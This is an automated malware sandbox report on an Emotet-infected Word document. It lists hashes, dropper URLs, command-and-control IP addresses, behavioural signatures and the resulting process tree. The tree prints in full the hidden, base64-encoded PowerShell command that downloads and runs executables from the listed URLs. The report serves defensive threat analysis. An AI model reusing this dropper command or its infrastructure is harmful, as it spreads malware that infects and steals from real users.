Analysis

  • max time kernel
    134s
  • resource
    win10v191014
  • submitted
    10-12-2019 18:05

General

  • Target

    Docs_ce0dbbcefdbfa0023395b5e11e31d2a2.71.doc

  • Sample

    191210-g7xjlxl71j

  • SHA256

    ad99c5c6a1b25fb1aa7e3803d11623a74abb080990d3dfe1e684397b77b019af

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://bepeterson.futurismdemo.com/archive/y5o7/

exe.dropper

http://www.gnc.happenizedev.com/backup/n99uf/

exe.dropper

http://odoo-accounting.com/wp-includes/rest-api/search/R/

exe.dropper

http://monoclepetes.com/disneyworldclassroom/sy52j7/

exe.dropper

http://bakestories.com/0hikvh/Jm4QTsHwF/

Extracted

Family

emotet

C2

2.38.99.79:80

98.24.231.64:80

47.156.70.145:80

37.59.24.177:8080

66.34.201.20:7080

108.179.206.219:8080

45.56.88.91:443

206.189.112.148:8080

120.150.246.241:80

190.56.255.118:80

200.71.148.138:8080

192.241.255.77:8080

211.63.71.72:8080

190.53.135.159:21

183.102.238.69:465

108.191.2.72:80

107.170.24.125:8080

167.114.242.226:8080

91.73.197.90:80

178.209.71.63:8080

rsa_pubkey.plain

Signatures

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Drops file in System32 directory 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_ce0dbbcefdbfa0023395b5e11e31d2a2.71.doc" /o ""
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:5056
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4056
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:4564
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4712
      • C:\Users\Admin\162.exe
        "C:\Users\Admin\162.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        • Suspicious use of SetWindowsHookEx
        PID:4428
        • C:\Users\Admin\162.exe
          --fb74438b
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of SetWindowsHookEx
          • Suspicious behavior: EmotetMutantsSpam
          PID:3820
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:4300
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:3976
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:4920
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k unistacksvcgroup
          1⤵
            PID:4900
          • C:\Windows\SysWOW64\mspprints.exe
            "C:\Windows\SysWOW64\mspprints.exe"
            1⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            • Suspicious use of SetWindowsHookEx
            PID:4652
            • C:\Windows\SysWOW64\mspprints.exe
              --97b78c26
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Executes dropped EXE
              • Drops file in System32 directory
              • Suspicious use of SetWindowsHookEx
              • Suspicious behavior: EmotetMutantsSpam
              PID:5068
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
            1⤵
              PID:1508

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/3820-11-0x0000000000710000-0x0000000000727000-memory.dmp

              Filesize

              92KB

            • memory/3820-12-0x0000000000400000-0x000000000047C000-memory.dmp

              Filesize

              496KB

            • memory/4428-9-0x00000000005D0000-0x00000000005E7000-memory.dmp

              Filesize

              92KB

            • memory/4652-14-0x0000000000D70000-0x0000000000D87000-memory.dmp

              Filesize

              92KB

            • memory/5068-16-0x0000000000600000-0x0000000000617000-memory.dmp

              Filesize

              92KB

            • memory/5068-17-0x0000000000400000-0x000000000047C000-memory.dmp

              Filesize

              496KB